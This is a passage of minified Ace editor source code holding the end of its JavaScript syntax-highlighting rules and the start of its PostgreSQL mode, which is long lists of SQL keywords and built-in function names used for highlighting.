ator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/pgsql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\",\"ace/mode/perl_highlight_rules\",\"ace/mode/python_highlight_rules\",\"ace/mode/json_highlight_rules\",\"ace/mode/javascript_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./perl_highlight_rules\").PerlHighlightRules,a=e(\"./python_highlight_rules\").PythonHighlightRules,f=e(\"./json_highlight_rules\").JsonHighlightRules,l=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,c=function(){var e=\"abort|absolute|abstime|access|aclitem|action|add|admin|after|aggregate|all|also|alter|always|analyse|analyze|and|any|anyarray|anyelement|anyenum|anynonarray|anyrange|array|as|asc|assertion|assignment|asymmetric|at|attribute|authorization|backward|before|begin|between|bigint|binary|bit|bool|boolean|both|box|bpchar|by|bytea|cache|called|cascade|cascaded|case|cast|catalog|chain|char|character|characteristics|check|checkpoint|cid|cidr|circle|class|close|cluster|coalesce|collate|collation|column|comment|comments|commit|committed|concurrently|configuration|connection|constraint|constraints|content|continue|conversion|copy|cost|create|cross|cstring|csv|current|current_catalog|current_date|current_role|current_schema|current_time|current_timestamp|current_user|cursor|cycle|data|database|date|daterange|day|deallocate|dec|decimal|declare|default|defaults|deferrable|deferred|definer|delete|delimiter|delimiters|desc|dictionary|disable|discard|distinct|do|document|domain|double|drop|each|else|enable|encoding|encrypted|end|enum|escape|event|event_trigger|except|exclude|excluding|exclusive|execute|exists|explain|extension|external|extract|false|family|fdw_handler|fetch|first|float|float4|float8|following|for|force|foreign|forward|freeze|from|full|function|functions|global|grant|granted|greatest|group|gtsvector|handler|having|header|hold|hour|identity|if|ilike|immediate|immutable|implicit|in|including|increment|index|indexes|inet|inherit|inherits|initially|inline|inner|inout|input|insensitive|insert|instead|int|int2|int2vector|int4|int4range|int8|int8range|integer|internal|intersect|interval|into|invoker|is|isnull|isolation|join|json|key|label|language|language_handler|large|last|lateral|lc_collate|lc_ctype|leading|leakproof|least|left|level|like|limit|line|listen|load|local|localtime|localtimestamp|location|lock|lseg|macaddr|mapping|match|materialized|maxvalue|minute|minvalue|mode|money|month|move|name|names|national|natural|nchar|next|no|none|not|nothing|notify|notnull|nowait|null|nullif|nulls|numeric|numrange|object|of|off|offset|oid|oids|oidvector|on|only|opaque|operator|option|options|or|order|out|outer|over|overlaps|overlay|owned|owner|parser|partial|partition|passing|password|path|pg_attribute|pg_auth_members|pg_authid|pg_class|pg_database|pg_node_tree|pg_proc|pg_type|placing|plans|point|polygon|position|preceding|precision|prepare|prepared|preserve|primary|prior|privileges|procedural|procedure|program|quote|range|read|real|reassign|recheck|record|recursive|ref|refcursor|references|refresh|regclass|regconfig|regdictionary|regoper|regoperator|regproc|regprocedure|regtype|reindex|relative|release|reltime|rename|repeatable|replace|replica|reset|restart|restrict|returning|returns|revoke|right|role|rollback|row|rows|rule|savepoint|schema|scroll|search|second|security|select|sequence|sequences|serializable|server|session|session_user|set|setof|share|show|similar|simple|smallint|smgr|snapshot|some|stable|standalone|start|statement|statistics|stdin|stdout|storage|strict|strip|substring|symmetric|sysid|system|table|tables|tablespace|temp|template|temporary|text|then|tid|time|timestamp|timestamptz|timetz|tinterval|to|trailing|transaction|treat|trigger|trim|true|truncate|trusted|tsquery|tsrange|tstzrange|tsvector|txid_snapshot|type|types|unbounded|uncommitted|unencrypted|union|unique|unknown|unlisten|unlogged|until|update|user|using|uuid|vacuum|valid|validate|validator|value|values|varbit|varchar|variadic|varying|verbose|version|view|void|volatile|when|where|whitespace|window|with|without|work|wrapper|write|xid|xml|xmlattributes|xmlconcat|xmlelement|xmlexists|xmlforest|xmlparse|xmlpi|xmlroot|xmlserialize|year|yes|zone\",t=\"RI_FKey_cascade_del|RI_FKey_cascade_upd|RI_FKey_check_ins|RI_FKey_check_upd|RI_FKey_noaction_del|RI_FKey_noaction_upd|RI_FKey_restrict_del|RI_FKey_restrict_upd|RI_FKey_setdefault_del|RI_FKey_setdefault_upd|RI_FKey_setnull_del|RI_FKey_setnull_upd|abbrev|abs|abstime|abstimeeq|abstimege|abstimegt|abstimein|abstimele|abstimelt|abstimene|abstimeout|abstimerecv|abstimesend|aclcontains|acldefault|aclexplode|aclinsert|aclitemeq|aclitemin|aclitemout|aclremove|acos|age|any_in|any_out|anyarray_in|anyarray_out|anyarray_recv|anyarray_send|anyelement_in|anyelement_out|anyenum_in|anyenum_out|anynonarray_in|anynonarray_out|anyrange_in|anyrange_out|anytextcat|area|areajoinsel|areasel|array_agg|array_agg_finalfn|array_agg_transfn|array_append|array_cat|array_dims|array_eq|array_fill|array_ge|array_gt|array_in|array_larger|array_le|array_length|array_lower|array_lt|array_ndims|array_ne|array_out|array_prepend|array_recv|array_remove|array_replace|array_send|array_smaller|array_to_json|array_to_string|array_typanalyze|array_upper|arraycontained|arraycontains|arraycontjoinsel|arraycontsel|arrayoverlap|ascii|ascii_to_mic|ascii_to_utf8|asin|atan|atan2|avg|big5_to_euc_tw|big5_to_mic|big5_to_utf8|bit_and|bit_in|bit_length|bit_or|bit_out|bit_recv|bit_send|bitand|bitcat|bitcmp|biteq|bitge|bitgt|bitle|bitlt|bitne|bitnot|bitor|bitshiftleft|bitshiftright|bittypmodin|bittypmodout|bitxor|bool|bool_and|bool_or|booland_statefunc|booleq|boolge|boolgt|boolin|boolle|boollt|boolne|boolor_statefunc|boolout|boolrecv|boolsend|box|box_above|box_above_eq|box_add|box_below|box_below_eq|box_center|box_contain|box_contain_pt|box_contained|box_distance|box_div|box_eq|box_ge|box_gt|box_in|box_intersect|box_le|box_left|box_lt|box_mul|box_out|box_overabove|box_overbelow|box_overlap|box_overleft|box_overright|box_recv|box_right|box_same|box_send|box_sub|bpchar_larger|bpchar_pattern_ge|bpchar_pattern_gt|bpchar_pattern_le|bpchar_pattern_lt|bpchar_smaller|bpcharcmp|bpchareq|bpcharge|bpchargt|bpchariclike|bpcharicnlike|bpcharicregexeq|bpcharicregexne|bpcharin|bpcharle|bpcharlike|bpcharlt|bpcharne|bpcharnlike|bpcharout|bpcharrecv|bpcharregexeq|bpcharregexne|bpcharsend|bpchartypmodin|bpchartypmodout|broadcast|btabstimecmp|btarraycmp|btbeginscan|btboolcmp|btbpchar_pattern_cmp|btbuild|btbuildempty|btbulkdelete|btcanreturn|btcharcmp|btcostestimate|btendscan|btfloat48cmp|btfloat4cmp|btfloat4sortsupport|btfloat84cmp|btfloat8cmp|btfloat8sortsupport|btgetbitmap|btgettuple|btinsert|btint24cmp|btint28cmp|btint2cmp|btint2sortsupport|btint42cmp|btint48cmp|btint4cmp|btint4sortsupport|btint82cmp|btint84cmp|btint8cmp|btint8sortsupport|btmarkpos|btnamecmp|btnamesortsupport|btoidcmp|btoidsortsupport|btoidvectorcmp|btoptions|btrecordcmp|btreltimecmp|btrescan|btrestrpos|btrim|bttext_pattern_cmp|bttextcmp|bttidcmp|bttintervalcmp|btvacuumcleanup|bytea_string_agg_finalfn|bytea_string_agg_transfn|byteacat|byteacmp|byteaeq|byteage|byteagt|byteain|byteale|bytealike|bytealt|byteane|byteanlike|byteaout|bytearecv|byteasend|cash_cmp|cash_div_cash|cash_div_flt4|cash_div_flt8|cash_div_int2|cash_div_int4|cash_eq|cash_ge|cash_gt|cash_in|cash_le|cash_lt|cash_mi|cash_mul_flt4|cash_mul_flt8|cash_mul_int2|cash_mul_int4|cash_ne|cash_out|cash_pl|cash_recv|cash_send|cash_words|cashlarger|cashsmaller|cbrt|ceil|ceiling|center|char|char_length|character_length|chareq|charge|chargt|charin|charle|charlt|charne|charout|charrecv|charsend|chr|cideq|cidin|cidout|cidr|cidr_in|cidr_out|cidr_recv|cidr_send|cidrecv|cidsend|circle|circle_above|circle_add_pt|circle_below|circle_center|circle_contain|circle_contain_pt|circle_contained|circle_distance|circle_div_pt|circle_eq|circle_ge|circle_gt|circle_in|circle_le|circle_left|circle_lt|circle_mul_pt|circle_ne|circle_out|circle_overabove|circle_overbelow|circle_overlap|circle_overleft|circle_overright|circle_recv|circle_right|circle_same|circle_send|circle_sub_pt|clock_timestamp|close_lb|close_ls|close_lseg|close_pb|close_pl|close_ps|close_sb|close_sl|col_description|concat|concat_ws|contjoinsel|contsel|convert|convert_from|convert_to|corr|cos|cot|count|covar_pop|covar_samp|cstring_in|cstring_out|cstring_recv|cstring_send|cume_dist|current_database|current_query|current_schema|current_schemas|current_setting|current_user|currtid|currtid2|currval|cursor_to_xml|cursor_to_xmlschema|database_to_xml|database_to_xml_and_xmlschema|database_to_xmlschema|date|date_cmp|date_cmp_timestamp|date_cmp_timestamptz|date_eq|date_eq_timestamp|date_eq_timestamptz|date_ge|date_ge_timestamp|date_ge_timestamptz|date_gt|date_gt_timestamp|date_gt_timestamptz|date_in|date_larger|date_le|date_le_timestamp|date_le_timestamptz|date_lt|date_lt_timestamp|date_lt_timestamptz|date_mi|date_mi_interval|date_mii|date_ne|date_ne_timestamp|date_ne_timestamptz|date_out|date_part|date_pl_interval|date_pli|date_recv|date_send|date_smaller|date_sortsupport|date_trunc|daterange|daterange_canonical|daterange_subdiff|datetime_pl|datetimetz_pl|dcbrt|decode|degrees|dense_rank|dexp|diagonal|diameter|dispell_init|dispell_lexize|dist_cpoly|dist_lb|dist_pb|dist_pc|dist_pl|dist_ppath|dist_ps|dist_sb|dist_sl|div|dlog1|dlog10|domain_in|domain_recv|dpow|dround|dsimple_init|dsimple_lexize|dsnowball_init|dsnowball_lexize|dsqrt|dsynonym_init|dsynonym_lexize|dtrunc|elem_contained_by_range|encode|enum_cmp|enum_eq|enum_first|enum_ge|enum_gt|enum_in|enum_larger|enum_last|enum_le|enum_lt|enum_ne|enum_out|enum_range|enum_recv|enum_send|enum_smaller|eqjoinsel|eqsel|euc_cn_to_mic|euc_cn_to_utf8|euc_jis_2004_to_shift_jis_2004|euc_jis_2004_to_utf8|euc_jp_to_mic|euc_jp_to_sjis|euc_jp_to_utf8|euc_kr_to_mic|euc_kr_to_utf8|euc_tw_to_big5|euc_tw_to_mic|euc_tw_to_utf8|event_trigger_in|event_trigger_out|every|exp|factorial|family|fdw_handler_in|fdw_handler_out|first_value|float4|float48div|float48eq|float48ge|float48gt|float48le|float48lt|float48mi|float48mul|float48ne|float48pl|float4_accum|float4abs|float4div|float4eq|float4ge|float4gt|float4in|float4larger|float4le|float4lt|float4mi|float4mul|float4ne|float4out|float4pl|float4recv|float4send|float4smaller|float4um|float4up|float8|float84div|float84eq|float84ge|float84gt|float84le|float84lt|float84mi|float84mul|float84ne|float84pl|float8_accum|float8_avg|float8_corr|float8_covar_pop|float8_covar_samp|float8_regr_accum|float8_regr_avgx|float8_regr_avgy|float8_regr_intercept|float8_regr_r2|float8_regr_slope|float8_regr_sxx|float8_regr_sxy|float8_regr_syy|float8_stddev_pop|float8_stddev_samp|float8_var_pop|float8_var_samp|float8abs|float8div|float8eq|float8ge|float8gt|float8in|float8larger|float8le|float8lt|float8mi|float8mul|float8ne|float8out|float8pl|float8recv|float8send|float8smaller|float8um|float8up|floor|flt4_mul_cash|flt8_mul_cash|fmgr_c_validator|fmgr_internal_validator|fmgr_sql_validator|format|format_type|gb18030_to_utf8|gbk_to_utf8|generate_series|generate_subscripts|get_bit|get_byte|get_current_ts_config|getdatabaseencoding|getpgusername|gin_cmp_prefix|gin_cmp_tslexeme|gin_extract_tsquery|gin_extract_tsvector|gin_tsquery_consistent|ginarrayconsistent|ginarrayextract|ginbeginscan|ginbuild|ginbuildempty|ginbulkdelete|gincostestimate|ginendscan|gingetbitmap|gininsert|ginmarkpos|ginoptions|ginqueryarrayextract|ginrescan|ginrestrpos|ginvacuumcleanup|gist_box_compress|gist_box_consistent|gist_box_decompress|gist_box_penalty|gist_box_picksplit|gist_box_same|gist_box_union|gist_circle_compress|gist_circle_consistent|gist_point_compress|gist_point_consistent|gist_point_distance|gist_poly_compress|gist_poly_consistent|gistbeginscan|gistbuild|gistbuildempty|gistbulkdelete|gistcostestimate|gistendscan|gistgetbitmap|gistgettuple|gistinsert|gistmarkpos|gistoptions|gistrescan|gistrestrpos|gistvacuumcleanup|gtsquery_compress|gtsquery_consistent|gtsquery_decompress|gtsquery_penalty|gtsquery_picksplit|gtsquery_same|gtsquery_union|gtsvector_compress|gtsvector_consistent|gtsvector_decompress|gtsvector_penalty|gtsvector_picksplit|gtsvector_same|gtsvector_union|gtsvectorin|gtsvectorout|has_any_column_privilege|has_column_privilege|has_database_privilege|has_foreign_data_wrapper_privilege|has_function_privilege|has_language_privilege|has_schema_privilege|has_sequence_privilege|has_server_privilege|has_table_privilege|has_tablespace_privilege|has_type_privilege|hash_aclitem|hash_array|hash_numeric|hash_range|hashbeginscan|hashbpchar|hashbuild|hashbuildempty|hashbulkdelete|hashchar|hashcostestimate|hashendscan|hashenum|hashfloat4|hashfloat8|hashgetbitmap|hashgettuple|hashinet|hashinsert|hashint2|hashint2vector|hashint4|hashint8|hashmacaddr|hashmarkpos|hashname|hashoid|hashoidvector|hashoptions|hashrescan|hashrestrpos|hashtext|hashvacuumcleanup|hashvarlena|height|host|hostmask|iclikejoinsel|iclikesel|icnlikejoinsel|icnlikesel|icregexeqjoinsel|icregexeqsel|icregexnejoinsel|icregexnesel|inet_client_addr|inet_client_port|inet_in|inet_out|inet_recv|inet_send|inet_server_addr|inet_server_port|inetand|inetmi|inetmi_int8|inetnot|inetor|inetpl|initcap|int2|int24div|int24eq|int24ge|int24gt|int24le|int24lt|int24mi|int24mul|int24ne|int24pl|int28div|int28eq|int28ge|int28gt|int28le|int28lt|int28mi|int28mul|int28ne|int28pl|int2_accum|int2_avg_accum|int2_mul_cash|int2_sum|int2abs|int2and|int2div|int2eq|int2ge|int2gt|int2in|int2larger|int2le|int2lt|int2mi|int2mod|int2mul|int2ne|int2not|int2or|int2out|int2pl|int2recv|int2send|int2shl|int2shr|int2smaller|int2um|int2up|int2vectoreq|int2vectorin|int2vectorout|int2vectorrecv|int2vectorsend|int2xor|int4|int42div|int42eq|int42ge|int42gt|int42le|int42lt|int42mi|int42mul|int42ne|int42pl|int48div|int48eq|int48ge|int48gt|int48le|int48lt|int48mi|int48mul|int48ne|int48pl|int4_accum|int4_avg_accum|int4_mul_cash|int4_sum|int4abs|int4and|int4div|int4eq|int4ge|int4gt|int4in|int4inc|int4larger|int4le|int4lt|int4mi|int4mod|int4mul|int4ne|int4not|int4or|int4out|int4pl|int4range|int4range_canonical|int4range_subdiff|int4recv|int4send|int4shl|int4shr|int4smaller|int4um|int4up|int4xor|int8|int82div|int82eq|int82ge|int82gt|int82le|int82lt|int82mi|int82mul|int82ne|int82pl|int84div|int84eq|int84ge|int84gt|int84le|int84lt|int84mi|int84mul|int84ne|int84pl|int8_accum|int8_avg|int8_avg_accum|int8_sum|int8abs|int8and|int8div|int8eq|int8ge|int8gt|int8in|int8inc|int8inc_any|int8inc_float8_float8|int8larger|int8le|int8lt|int8mi|int8mod|int8mul|int8ne|int8not|int8or|int8out|int8pl|int8pl_inet|int8range|int8range_canonical|int8range_subdiff|int8recv|int8send|int8shl|int8shr|int8smaller|int8um|int8up|int8xor|integer_pl_date|inter_lb|inter_sb|inter_sl|internal_in|internal_out|interval_accum|interval_avg|interval_cmp|interval_div|interval_eq|interval_ge|interval_gt|interval_hash|interval_in|interval_larger|interval_le|interval_lt|interval_mi|interval_mul|interval_ne|interval_out|interval_pl|interval_pl_date|interval_pl_time|interval_pl_timestamp|interval_pl_timestamptz|interval_pl_timetz|interval_recv|interval_send|interval_smaller|interval_transform|interval_um|intervaltypmodin|intervaltypmodout|intinterval|isclosed|isempty|isfinite|ishorizontal|iso8859_1_to_utf8|iso8859_to_utf8|iso_to_koi8r|iso_to_mic|iso_to_win1251|iso_to_win866|isopen|isparallel|isperp|isvertical|johab_to_utf8|json_agg|json_agg_finalfn|json_agg_transfn|json_array_element|json_array_element_text|json_array_elements|json_array_length|json_each|json_each_text|json_extract_path|json_extract_path_op|json_extract_path_text|json_extract_path_text_op|json_in|json_object_field|json_object_field_text|json_object_keys|json_out|json_populate_record|json_populate_recordset|json_recv|json_send|justify_days|justify_hours|justify_interval|koi8r_to_iso|koi8r_to_mic|koi8r_to_utf8|koi8r_to_win1251|koi8r_to_win866|koi8u_to_utf8|lag|language_handler_in|language_handler_out|last_value|lastval|latin1_to_mic|latin2_to_mic|latin2_to_win1250|latin3_to_mic|latin4_to_mic|lead|left|length|like|like_escape|likejoinsel|likesel|line|line_distance|line_eq|line_horizontal|line_in|line_interpt|line_intersect|line_out|line_parallel|line_perp|line_recv|line_send|line_vertical|ln|lo_close|lo_creat|lo_create|lo_export|lo_import|lo_lseek|lo_lseek64|lo_open|lo_tell|lo_tell64|lo_truncate|lo_truncate64|lo_unlink|log|loread|lower|lower_inc|lower_inf|lowrite|lpad|lseg|lseg_center|lseg_distance|lseg_eq|lseg_ge|lseg_gt|lseg_horizontal|lseg_in|lseg_interpt|lseg_intersect|lseg_le|lseg_length|lseg_lt|lseg_ne|lseg_out|lseg_parallel|lseg_perp|lseg_recv|lseg_send|lseg_vertical|ltrim|macaddr_and|macaddr_cmp|macaddr_eq|macaddr_ge|macaddr_gt|macaddr_in|macaddr_le|macaddr_lt|macaddr_ne|macaddr_not|macaddr_or|macaddr_out|macaddr_recv|macaddr_send|makeaclitem|masklen|max|md5|mic_to_ascii|mic_to_big5|mic_to_euc_cn|mic_to_euc_jp|mic_to_euc_kr|mic_to_euc_tw|mic_to_iso|mic_to_koi8r|mic_to_latin1|mic_to_latin2|mic_to_latin3|mic_to_latin4|mic_to_sjis|mic_to_win1250|mic_to_win1251|